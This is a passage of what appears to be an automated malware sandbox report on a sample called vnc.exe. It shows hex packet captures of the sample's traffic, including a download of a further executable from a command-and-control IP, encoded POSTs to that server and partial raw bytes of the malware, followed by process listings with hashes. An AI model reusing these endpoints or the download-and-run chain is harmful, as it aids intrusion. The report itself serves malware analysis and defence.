Oct 30, 2018 14:45:12.741647959 CET	643	IN	Data Raw: 8b ff 56 e8 c9 07 00 00 8b f0 56 e8 61 0f 00 00 56 e8 b0 1d 00 00 56 e8 c2 e8 ff ff 56 e8 4b 38 00 00 56 e8 36 38 00 00 56 e8 1e 36 00 00 56 e8 fe 01 00 00 56 e8 a2 34 00 00 68 0b 35 40 00 e8 1b 07 00 00 83 c4 24 a3 40 05 41 00 5e c3 8b ff 55 8b Data Ascii: VVaVVVK8V68V6VV4h5@$@A^UQQS]VW33};HAtG}rwj;Y4jo;Yu=AAh@SQW:tVVVVVh!QVj%Q
Oct 30, 2018 14:45:12.796802998 CET	645	IN	Data Raw: c8 ff eb e4 8b ff 55 8b ec 51 56 33 d2 57 8b 7d 0c 89 13 8b f1 c7 07 01 00 00 00 39 55 08 74 09 8b 4d 08 83 45 08 04 89 31 66 83 38 22 75 13 8b 7d 0c 33 c9 85 d2 0f 94 c1 6a 22 40 40 8b d1 59 eb 18 ff 03 85 f6 74 08 66 8b 08 66 89 0e 46 46 0f b7 Data Ascii: UQV3W}9UtME1f8"u}3j"@@YtffFF@@ft<uf tfut3fNe3f9f tfu@@HHf99UtME13G3@@Bf8\tf8"u8u }tHf9"u339MMJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.1.81	51583	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:13.277811050 CET	920	OUT	GET /p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 92.63.197.48
Oct 30, 2018 14:45:13.331156969 CET	936	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:13 GMT Content-Type: application/octet-stream Content-Length: 204288 Last-Modified: Tue, 30 Oct 2018 08:01:46 GMT Connection: keep-alive ETag: "5bd80fea-31e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a6 25 fd 59 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 00 00 f6 00 00 00 44 02 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%YD
Oct 30, 2018 14:45:13.331199884 CET	937	IN	Data Raw: 00 00 a0 56 00 00 00 10 00 00 00 10 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 03 00 00 04 00 00 05 2a 03 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 Data Ascii: V@*ndpz`@e@h.text
Oct 30, 2018 14:45:13.331234932 CET	937	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: BRhA^4Y
Oct 30, 2018 14:45:13.331259966 CET	938	IN	Data Raw: 6a 00 6a 00 8b ce e8 4e 03 00 00 ff 75 08 8b ce e8 54 04 00 00 8b c6 5e 8b e5 5d c2 04 00 56 8b f1 e8 2e 00 00 00 c7 06 10 12 41 00 8b c6 5e c3 56 8b f1 e8 e6 ff ff ff c7 06 44 12 41 00 8b c6 5e c3 56 8b f1 e8 d4 ff ff ff c7 06 84 12 41 00 8b c6 Data Ascii: jjNuT^]V.A^VDA^VA^AD$D$AD$jjAD$3;L$WL$?P7tL$V;^u3@3_V
Oct 30, 2018 14:45:13.331284046 CET	939	IN	Data Raw: 00 50 ff 75 e8 e8 d8 02 00 00 83 c4 0c 6a 00 6a 01 8b cf e8 29 01 00 00 8d 45 e8 50 57 8d 45 0b 50 8b cf e8 59 00 00 00 8b c8 e8 24 fd ff ff 89 77 14 53 8b cf e8 1e 00 00 00 e8 b1 37 00 00 c2 08 00 6a 00 6a 01 8b 4d e4 e8 f3 00 00 00 6a 00 6a 00 Data Ascii: Pujj)EPWEPY$wS7jjMjj67UQVuEPEqPUYY^]D$VWt$;rK9wswV,\|$tsG;BPjxuV3;_^\|$W
Oct 30, 2018 14:45:13.331307888 CET	939	IN	Data Raw: 84 c0 74 24 8b 4d 08 57 e8 09 ff ff ff 03 c3 8b ce 50 e8 ec fe ff ff 50 e8 ad 00 00 00 83 c4 0c 8b ce 57 e8 18 fe ff ff 5f 8b c6 5e 5b 5d c2 0c 00 8b ce e8 5a ff ff ff cc 56 ff 74 24 08 8b f1 e8 d9 01 00 00 59 50 ff 74 24 0c 8b ce e8 04 00 00 00 Data Ascii: t$MWPPW_^[]ZVt$YPt$^UVW}Wntu+WV3.jutuWiP*u_^]D$D$AAU}uE]]D9t$,YU
Oct 30, 2018 14:45:13.331331968 CET	940	IN	Data Raw: b8 c0 ab 42 00 c3 8b 44 24 04 80 38 00 75 03 33 c0 c3 8d 50 01 8a 08 40 84 c9 75 f9 2b c2 c3 51 e8 06 00 00 00 59 c3 83 c8 ff c3 8b 4c 24 04 e9 f3 ff ff ff 51 8d 44 24 03 50 e8 12 fc ff ff 8b c8 e8 d9 ff ff ff 33 d2 42 3b c2 8d 48 ff 0f 46 ca 8b Data Ascii: BD$8u3P@u+QYL$QD$P3B;HFYt$Y0AEQL$.D$U}uMhhAuuE]t$rY0AEQL$D$U}uE]]-,(A\AAU
Oct 30, 2018 14:45:13.331356049 CET	940	IN	Data Raw: 00 ff 74 24 14 57 e8 0e ff ff ff 59 83 c7 08 59 4e 75 e8 5f 5e c3 8b 01 c3 8b 01 c3 81 ec e8 0b 00 00 a1 30 98 42 00 33 c4 89 84 24 e4 0b 00 00 53 56 c7 44 24 58 c9 19 7a 40 c7 44 24 24 95 1c 64 3e c7 44 24 7c 3d 7e 0c 54 c7 44 24 0c 0d 3c 69 55 Data Ascii: t$WYYNu_^0B3$SVD$Xz@D$$d>D$\|=~TD$<iUD$ !>D$4)D$l,X"$s2<D$\1$\w$\|\|,@D$0qU)$w9kD$D%$D$< nWD$LWofD$,c$1\v$$$bD$dU$,X`j$
Oct 30, 2018 14:45:13.331379890 CET	941	IN	Data Raw: 00 e2 f5 a1 36 c7 84 24 a8 02 00 00 8c 96 c1 37 c7 84 24 40 02 00 00 0c 0e a1 68 c7 84 24 74 01 00 00 c1 9b b8 4d c7 84 24 c0 02 00 00 4e 14 70 3d c7 84 24 38 02 00 00 02 e0 b5 7a c7 84 24 08 02 00 00 c1 14 d4 0f c7 84 24 f8 00 00 00 be 66 81 28 Data Ascii: 6$7$@h$tM$Np=$8z$$f($gR$}$$Gr!$Zp$g$XA $*$Gw$Hl$^:A$B$`byz$P5Zt$
Oct 30, 2018 14:45:13.331403971 CET	941	IN	Data Raw: 44 24 20 90 fe af 15 81 44 24 24 a5 dc ca 52 81 6c 24 20 de 22 11 58 8d 84 24 70 0b 00 00 50 ff d6 81 6c 24 0c e0 0e 1f 26 8d 84 24 c0 03 00 00 50 ff d6 81 44 24 20 5f 1e 87 7d 81 44 24 5c 79 ca 25 5d 8d 84 24 c0 07 00 00 50 ff d6 8d 84 24 e0 03 Data Ascii: D$ D$$Rl$ "X$pPl$&$PD$ _}D$\y%]$P$Pl$\|/$Pl$QjVD$GB$P$Pl$$_l$$Ip$ Pl$0jl$\GwyD$ 8l$pl$0,$P$@P$P$`
Oct 30, 2018 14:45:13.384469032 CET	952	IN	Data Raw: e8 00 00 00 99 b1 ef 31 81 44 24 3c 1b c2 62 0e 81 44 24 2c ac 06 56 69 8d 84 24 e0 0a 00 00 50 ff d6 8d 84 24 30 03 00 00 50 ff d6 81 6c 24 64 ed 4f 9f 69 81 44 24 6c 17 19 c4 6a 8d 84 24 80 08 00 00 50 ff d6 81 6c 24 3c 35 aa 9e 35 81 6c 24 30 Data Ascii: 1D$<bD$,Vi$P$0Pl$dOiD$lj$Pl$<55l$0D$qc$+$LvGl$0JD$<US{jD$, x$$`Pl$,Pl$L?D$dAj$YwD$,5nF-D$lIHD$\C.rl$T$:)D$X

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.1.81	51992	92.63.197.48	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:45:58.162107944 CET	2295	OUT	POST /index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: 92.63.197.48 Content-Length: 103 Cache-Control: no-cache Data Raw: 4a 2f fb 3d 2f fb 3e 2f fb 3d 4b 8c 4f 48 ed 3f 4e ed 3e 3d ed 3e 39 ed 3e 3e ed 3e 39 89 28 39 fa 48 49 ed 3f 4e ed 3e 3c ed 3e 3a ed 3e 3a ed 3e 3d ed 3e 38 8e 48 4c ed 3f 4e ed 3e 32 ed 3e 3e ed 3e 32 8a 49 2f fb 3f 2f fb 34 2f fb 39 2f fa 49 2f fb 3d 4f ed 3e 32 ed 3e 38 ed 3e 39 ed 3e 33 8e 4f 2f fb 35 Data Ascii: J/=/>/=KOH?N>=>9>>>9(9HI?N><>:>:>=>8HL?N>2>>>2I/?/4/9/I/=O>2>8>9>3O/5
Oct 30, 2018 14:45:58.528346062 CET	2297	IN	HTTP/1.1 200 OK Server: nginx/1.4.6 (Ubuntu) Date: Tue, 30 Oct 2018 13:45:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.5.9-1ubuntu4.26 Data Raw: 31 66 62 30 0d 0a 31 69 f6 41 59 bb 7f 41 b1 3d 7e 84 5e 3a ba 41 5b f8 46 59 99 66 72 87 49 5f bd 40 70 81 78 47 a2 44 73 84 67 4f bf 43 4e b8 49 59 89 3d 41 f4 22 69 f6 31 64 f6 a4 1f 91 21 af de 10 7c 69 06 17 aa aa 1d 9d 21 a1 c2 53 78 6f 04 5f e4 a9 5e d5 3d ef 9d 13 6f 6c 04 00 84 9f ff f8 0f c2 ad 3d 0f 00 68 3a 36 3a 6f f8 b4 c2 ad 3d 0b 00 68 3a 89 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a 71 c5 6f f8 02 dd 17 33 0b b4 61 f7 e8 7d 6e b4 c1 e3 f9 55 62 73 48 4a bb aa 08 8a 6d af 8d 5e 6a 6e 06 55 bd e5 0d 9d 2c b0 d8 53 2b 69 06 1a 8d 8a 3c d8 61 ad c9 58 25 0d 65 30 ed c5 6f f8 0c c2 ad 3d d0 6d 63 fb 56 c9 0a 6a 93 ce c8 af 94 0c 0d a8 25 ab 0a 6b 92 ce c8 af e7 6e 09 a9 54 c9 0a 6a e0 ac 37 af 95 0c 0d a8 25 ab 08 6b 92 ce c8 af 59 69 0b 52 56 c9 0a 6a 5c 87 ad 3d 47 01 6a 3a 48 7f 4d 54 0c c2 ad 3d 0b 00 68 3a 29 c5 6d d9 07 c3 a3 37 0b 06 68 3a c9 c1 6f f8 0c c2 ad 3d 0b 00 68 3a c9 d5 6f f8 0c e2 ad 3d 0b 00 68 2a c9 d5 6f f8 0c c0 Data Ascii: 1fb01iAYA=~^:A[FYfrI_@pxGDsgOCNIY=A"i1d!\|i!Sxo_^=ol=h:6:o=h:o=h:o=h:o=h:qo3a}nUbsHJm^jnU,S+i<aX%e0o=mcVj%knTj7%kYiRVj\=Gj:HMT=h:)m7h:o=h:o=h*o
Oct 30, 2018 14:45:58.528409004 CET	2297	IN	Data Raw: ad 3d 01 00 68 3a c3 c5 6f f8 06 c2 ad 3d 0b 00 68 3a c9 f5 6f f8 0c c0 ad 3d 07 4a 68 3a ca c5 2f fd 0c c2 a9 3d 0b 10 68 3a c9 c5 7f f8 0c d2 ad 3d 0b 00 68 3a d9 c5 6f f8 0c d3 ad 3d 20 03 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 20 68 3a 39 c6 6f f8 Data Ascii: =h:o=h:o=Jh:/=h:=h:o= h:o= h:9o=h:o4=h:o=_h:o=h:o=h:o=h:o=h:o=h:o=h:x= h:o=h:o=h:o"Ohh:9o=
Oct 30, 2018 14:45:58.528438091 CET	2298	IN	Data Raw: 6f f8 0d c2 ad 3d 05 00 68 3a c7 c5 6f f8 24 d3 ad 3d 6b 11 68 3a 51 d4 6f f8 e8 d3 ad 3d 0c 12 68 3a e5 d7 6f f8 5b d0 ad 3d 9a 12 68 3a 03 d7 6f f8 fe d0 ad 3d 11 13 68 3a 8e d6 6f f8 63 d1 ad 3d 90 13 68 3a 00 d6 6f f8 e3 d1 ad 3d 1f 14 68 3a Data Ascii: o=h:o$=kh:Qo=h:o[=h:o=h:oc=h:o=h:o=h:o=h:,o=>h:o=h:(o=i:l=o:f=e:aJbnEYoNdlB!Yglh{ONdl:i%AV,bQn/_
Oct 30, 2018 14:45:58.528551102 CET	2299	IN	Data Raw: 0c 79 a6 ab 1c 97 60 a7 e4 53 7b 75 1c 7b c9 97 0a 99 68 81 c2 53 78 6f 04 5f 80 ab 1f 8d 78 95 ad 56 6e 72 06 5f a5 f6 5d d6 5e a7 cc 59 48 6f 06 49 a6 a9 0a b1 62 b2 d8 49 5c 00 3a 5f a8 a1 2c 97 62 b1 c2 51 6e 57 68 51 ac b7 01 9d 60 f1 9f 13 Data Ascii: y`S{u{hSxo_xVnr_]^YHoIbI\:_,bQnWhQ`Ye^cjSNc~rriVnr_]_~dnU,~\ed_<xSxo_Oee<xSxo_Te+UiVnr_][InCTMObty`=`eT
Oct 30, 2018 14:45:58.528575897 CET	2299	IN	Data Raw: ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 0c c2 ad 3d 0b 00 68 3a c9 c5 6f f8 Data Ascii: =h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=h:o=i:oh:o=i:o<
Oct 30, 2018 14:45:58.528598070 CET	2300	IN	Data Raw: 1c f8 6f c2 df 3d 62 00 18 3a bd c5 06 f8 63 c2 c3 3d 0b 00 68 3a 88 c5 1f f8 65 c2 fe 3d 6e 00 1c 3a e9 c5 3c f8 78 c2 d8 3d 69 00 48 3a 8d c5 23 f8 40 c2 ad 3d 61 00 4d 3a c8 c5 29 f8 65 c2 c1 3d 6e 00 3e 3a ac c5 1d f8 7f c2 c4 3d 64 00 06 3a Data Ascii: o=b:c=h:e=n:<x=iH:#@=aM:)e=n>:=d:o==%X:^:=2Q:^9=#?:N=b:A==;Y:^"=3X:F==c:&b=n:`=j:om=b:=~:o=$:m=H:~
Oct 30, 2018 14:45:58.528628111 CET	2300	IN	Data Raw: 1c 3a 9f c5 0a f8 7e c2 de 3d 62 00 07 3a a7 c5 6f f8 3d c2 9d 3d 25 00 58 3a e7 c5 5e f8 3a c2 9f 3d 32 00 51 3a e7 c5 5e f8 39 c2 ad 3d 4f 00 68 3a c8 c5 39 f8 6d c2 df 3d 4d 00 01 3a a5 c5 0a f8 45 c2 c3 3d 6d 00 07 3a c9 c5 6f f8 28 c2 a9 3d Data Ascii: :~=b:o==%X:^:=2Q:^9=Oh:9m=M:E=m:o(=<:b=g:c=h:=h:o=h:o=h:o=;UE~DDZ0jKy?Y1i'?he<7j;eQ0;+n;i:i;n?
Oct 30, 2018 14:45:58.528650045 CET	2301	IN	Data Raw: ab 3e 5e 04 62 29 dc 88 06 9b 7e ad de 52 6d 74 48 79 a6 b7 1f 97 7e a3 d9 54 64 6e 59 36 f9 cf 69 fb 59 c6 a6 2e 08 41 27 79 f8 e2 5f dd 0a c1 f8 39 00 13 76 54 8a ac 1f 90 69 b0 8d 79 58 45 48 7f 9a 8b 55 c9 3e 87 9a 10 38 30 5e 0e e4 f3 5e c9 Data Ascii: >^b)~RmtHy~TdnY6iY.A'y_9vTiyXEHU>80^^>(ko\|AOds\;anaJzX;ii&Di;o=;i0Gne"AF+y/I#P-aY?_l"?ti3R;8mD;lo*"D
Oct 30, 2018 14:45:58.528671980 CET	2302	IN	Data Raw: 0c 8a 60 ed dd 4f 64 64 1d 59 bd b6 40 b5 65 a1 df 52 78 6f 0e 4e 9d ac 02 9d 5f b6 cc 50 7b 50 2b 7b e7 a6 1d 94 3c 9a ab 35 20 06 69 3f cc c2 6e f9 08 8e 9d 77 3b 48 6e 32 e2 c3 6e fd 09 c5 9d 3f 8d 3c 00 4e bd b5 55 d7 23 b5 da 4a 25 6d 01 59 Data Ascii: `OddY@eRxoN_P{P+{<5 i?nw;Hn2n?<NU#J%mYj^dmGJ@iN$MYjTfe;NO^ytX):)`jaO8ko4Ic+^&A,#gy2<NTX6J!6v6zqap'6Ae+Ol
Oct 30, 2018 14:45:58.528695107 CET	2302	IN	Data Raw: 62 29 dc 88 06 9b 7e ad de 52 6d 74 48 79 a6 b7 1f 97 7e a3 d9 54 64 6e 59 19 f9 e4 69 fb 59 c6 ae 2e 11 4d 01 59 bb aa 1c 97 6a b6 8d 7e 64 64 0d 1a 9a ac 08 96 65 ac ca 1d 5b 43 29 0a d7 d2 62 c9 3b f2 95 0c 3a 32 58 0b f8 f4 5a a2 1b cf 9c 05 Data Ascii: b)~RmtHy~TdnYiY.MYj~dde[C)b;:2XZ;8Y^=Y1iY.U;~5?[kS:X4:ondU^<>^b)~RmtHy~TdnY6iY.A'y_9}wI+CHxS;ii&Di;
Oct 30, 2018 14:45:58.583635092 CET	2303	IN	Data Raw: a1 0d 01 06 60 11 cf c4 6a fd 0b c1 ae 0d 16 06 6b 6f d4 cb 6b ee 08 d6 23 d5 66 0f 19 79 27 1c 50 bc a5 aa 89 68 ff e5 a2 5a e7 f2 5f a9 0a c1 f8 20 1a 04 22 0a 81 61 29 c8 48 f3 a1 0d 01 06 6b 6f cd ce 7c fb 4d 8d ee 0c 3f 30 5a 3c ca 90 6b fd Data Ascii: `jkok#fy'PhZ_ "a)Hko\|M?0Z<k28Xjm-_B>j6]^V92fpX,IXi\{Xl:F0#e(~II{:GaOds\aVb/Hc^sGw,hZ[C)eB=:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.1.81	50535	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:41.413285971 CET	203	OUT	GET /92faf1775bd83fdf3a3b1380bb93130b HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=8fd16088d64210ecf9e7e8ce32ef8050\|185.32.222.104\|1540907081\|1540907081\|0\|1\|0 Connection: Keep-Alive Host: xsso.riifndisojdoj.in
Oct 30, 2018 14:44:41.470856905 CET	203	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:44:41 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=92faf1775bd83fdf3a3b1380bb93130b; domain=.riifndisojdoj.in; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.1.81	50700	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:46.534277916 CET	231	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: ouegouehouseh.net
Oct 30, 2018 14:44:46.588784933 CET	232	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:46 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/ouegouehouseh.net Set-Cookie: btst=6292482f28997a1065c10ef6bbc48f62\|185.32.222.104\|1540907086\|1540907086\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.1.81	50705	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:46.654469967 CET	233	OUT	GET /domain/ouegouehouseh.net HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:44:46.707536936 CET	234	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:47 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=575e0240c0d4df5892064317c147a97e; domain=.ouegouehouseh.net; path=/ Location: http://xsso.ouegouehouseh.net/575e0240c0d4df5892064317c147a97e Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 6f 75 65 67 6f 75 65 68 6f 75 73 65 68 2e 6e 65 74 2f 35 37 35 65 30 32 34 30 63 30 64 34 64 66 35 38 39 32 30 36 34 33 31 37 63 31 34 37 61 39 37 65 Data Ascii: Go http://xsso.ouegouehouseh.net/575e0240c0d4df5892064317c147a97e

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.1.81	50714	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:46.907047033 CET	236	OUT	GET /575e0240c0d4df5892064317c147a97e HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=6292482f28997a1065c10ef6bbc48f62\|185.32.222.104\|1540907086\|1540907086\|0\|1\|0 Connection: Keep-Alive Host: xsso.ouegouehouseh.net
Oct 30, 2018 14:44:46.959515095 CET	236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:44:47 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=575e0240c0d4df5892064317c147a97e; domain=.ouegouehouseh.net; path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.1.81	50739	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:47.649723053 CET	241	OUT	GET /t.php?new=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: riifndisojdoj.net
Oct 30, 2018 14:44:47.702132940 CET	241	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:47 GMT Content-Type: text/html Connection: close Location: http://sso.anbtr.com/domain/riifndisojdoj.net Set-Cookie: btst=67723d895fda4e64255e9cef0a05b76c\|185.32.222.104\|1540907087\|1540907087\|0\|1\|0; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.1.81	50743	195.22.28.222	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:47.763775110 CET	242	OUT	GET /domain/riifndisojdoj.net HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Host: sso.anbtr.com Connection: Keep-Alive
Oct 30, 2018 14:44:47.816561937 CET	243	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Tue, 30 Oct 2018 13:44:48 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=2d6f5f8786b3305ca267ce6dbf60eca4; domain=.riifndisojdoj.net; path=/ Location: http://xsso.riifndisojdoj.net/2d6f5f8786b3305ca267ce6dbf60eca4 Data Raw: 47 6f 20 68 74 74 70 3a 2f 2f 78 73 73 6f 2e 72 69 69 66 6e 64 69 73 6f 6a 64 6f 6a 2e 6e 65 74 2f 32 64 36 66 35 66 38 37 38 36 62 33 33 30 35 63 61 32 36 37 63 65 36 64 62 66 36 30 65 63 61 34 Data Ascii: Go http://xsso.riifndisojdoj.net/2d6f5f8786b3305ca267ce6dbf60eca4

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.1.81	50752	195.22.26.248	80	C:\Windows\T-495050303005030\winsvcs.exe

Timestamp	kBytes transferred	Direction	Data
Oct 30, 2018 14:44:48.008327007 CET	245	OUT	GET /2d6f5f8786b3305ca267ce6dbf60eca4 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0 Cookie: btst=67723d895fda4e64255e9cef0a05b76c\|185.32.222.104\|1540907087\|1540907087\|0\|1\|0 Connection: Keep-Alive Host: xsso.riifndisojdoj.net
Oct 30, 2018 14:44:48.063215971 CET	246	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 30 Oct 2018 13:44:48 GMT Content-Type: text/html Connection: close Set-Cookie: anbtr=2d6f5f8786b3305ca267ce6dbf60eca4; domain=.riifndisojdoj.net; path=/

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: vnc.exe PID: 3232 Parent PID: 2668

General

Start time:	14:43:49
Start date:	30/10/2018
Path:	C:\Users\user\Desktop\vnc.exe
Wow64 process (32bit):	false
Commandline:	'C:\Users\user\Desktop\vnc.exe'
Imagebase:	0x400000
File size:	172544 bytes
MD5 hash:	642C7AD7B1608F00BA6159250B41EF75
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: winsvcs.exe PID: 3260 Parent PID: 3232

General

Start time:	14:43:54
Start date:	30/10/2018
Path:	C:\Windows\T-495050303005030\winsvcs.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\T-495050303005030\winsvcs.exe
Imagebase:	0x400000
File size:	172544 bytes
MD5 hash:	642C7AD7B1608F00BA6159250B41EF75
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: winsvcs.exe PID: 3276 Parent PID: 1484

General

Start time:	14:43:58
Start date:	30/10/2018
Path:	C:\Windows\T-495050303005030\winsvcs.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\T-495050303005030\winsvcs.exe'
Imagebase:	0x400000
File size:	172544 bytes
MD5 hash:	642C7AD7B1608F00BA6159250B41EF75
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: winsvcs.exe PID: 3288 Parent PID: 1484

General

Start time:	14:43:58
Start date:	30/10/2018
Path:	C:\Windows\T-495050303005030\winsvcs.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\T-495050303005030\winsvcs.exe'
Imagebase:	0x400000
File size:	172544 bytes
MD5 hash:	642C7AD7B1608F00BA6159250B41EF75
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 153661691311498.exe PID: 11380 Parent PID: 3260

General

Start time:	14:45:20
Start date:	30/10/2018
Path:	C:\Users\user\AppData\Local\Temp\153661691311498.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\153661691311498.exe
Imagebase:	0x400000
File size:	163328 bytes
MD5 hash:	B7A9FDDD0F3B5C579FBE25C3909744C2
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 159753404015476.exe PID: 11832 Parent PID: 3260

General

Start time:	14:45:43
Start date:	30/10/2018
Path:	C:\Users\user\AppData\Local\Temp\159753404015476.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\159753404015476.exe
Imagebase:	0x400000
File size:	204288 bytes
MD5 hash:	2CDD23D5E838B9E1A1DFE7B7F1676D95
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: winsvcs.exe PID: 11940 Parent PID: 11380

General

Start time:	14:45:45
Start date:	30/10/2018
Path:	C:\Windows\T940405959302020\winsvcs.exe
Wow64 process (32bit):
Commandline:	unknown
Imagebase:
File size:	163328 bytes
MD5 hash:	B7A9FDDD0F3B5C579FBE25C3909744C2
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

